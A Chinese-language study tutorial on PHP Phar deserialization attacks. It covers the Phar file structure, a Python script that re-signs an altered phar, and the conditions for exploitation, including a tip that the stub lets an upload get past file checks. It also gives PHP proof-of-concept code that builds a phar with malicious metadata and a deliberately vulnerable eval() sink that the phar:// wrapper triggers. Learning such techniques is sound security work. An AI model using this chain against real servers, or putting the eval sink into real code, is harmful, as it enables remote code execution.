PHP Phar反序列化學習
PHP Phar反序列化學習
Phar
Phar是PHP的壓縮文檔,是PHP中類似於JAR的一種打包文件。它可以把多個文件存放至同一個文件中,無需解壓,PHP就可以進行訪問並執行內部語句。
默認開啟版本 PHP version >= 5.3
Phar文件結構
1、Stub //Phar文件頭
2、manifest //壓縮文件資訊
3、contents //壓縮文件內容
4、signature //簽名
Stub
Stub是Phar的文件標識,也可以理解為它就是Phar的文件頭
這個Stub其實就是一個簡單的PHP文件,它的格式具有一定的要求,具體如下
xxx<?php xxx; __HALT_COMPILER();?>
前面的內容是不限制的,但在該PHP語句中,必須有__HALT_COMPILER()
,沒有這個,PHP就無法識別出它是Phar文件。
manifest
用於存放文件的屬性、許可權等資訊。
這裡也是反序列化的攻擊點,因為這裡以序列化的形式存儲了用戶自定義的Meta-data
contents
用於存放Phar文件的內容
signature
簽名(可選參數),位於文件末尾,具體格式如下
簽證尾部的01
代表md5加密,02
代表sha1加密,04
代表sha256加密,08
代表sha512加密
當我們修改文件的內容時,簽名就會變得無效,這個時候需要更換一個新的簽名
更換籤名的腳本
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 獲取要簽名的數據
h = f[-8:] # 獲取簽名類型和GBMB標識
newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 寫入新文件
Phar反序列化
Phar之所以能反序列化,是因為Phar文件會以序列化的形式存儲用戶自定義的meta-data
,PHP使用phar_parse_metadata
在解析meta數據時,會調用php_var_unserialize
進行反序列化操作。
利用條件
1、phar文件能夠上傳至伺服器
//即要求存在file_get_contents()、fopen()這種函數
2、要有可利用的魔術方法
//這個的話用一位大師傅的話說就是利用魔術方法作為"跳板"
3、文件操作函數的參數可控,且:、/、phar等特殊字元沒有被過濾
//一般利用姿勢是上傳Phar文件後通過偽協議Phar來實現反序列化,偽協議Phar格式是`Phar://`這種,如果這幾個特殊字元被過濾就無法實現反序列化
4、php.ini中的phar.readonly選項,需要為Off(默認是on)。
Phar屬於偽協議,偽協議使用較多的是一些文件操作函數,如fopen()
、copy()
、file_exists()
等,具體如下圖,也就是下面的函數如果參數可控可以造成Phar反序列化
生成phar文件
copy的程式碼
<?php
class test{
public $name="qwq";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//後綴名必須為phar
$phartest->startBuffering();//開始緩衝 Phar 寫操作
$phartest->setMetadata($a);//自定義的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//設置stub,stub是一個簡單的php文件。PHP通過stub識別一個文件為PHAR文件,可以利用這點繞過文件上傳檢測
$phartest->addFromString("test.txt","test");//添加要壓縮的文件
$phartest->stopBuffering();//停止緩衝對 Phar 歸檔的寫入請求,並將更改保存到磁碟
?>
復現
先訪問上面的php程式碼,生成phar文件
存在漏洞程式碼,通過file_get_contents
觸發phar反序列化
<?php
class test{
public $name="";
public function __destruct()
{
eval($this->name);
}
}
$phardemo = file_get_contents('phar://phartest.phar/test.txt');
echo $phardemo;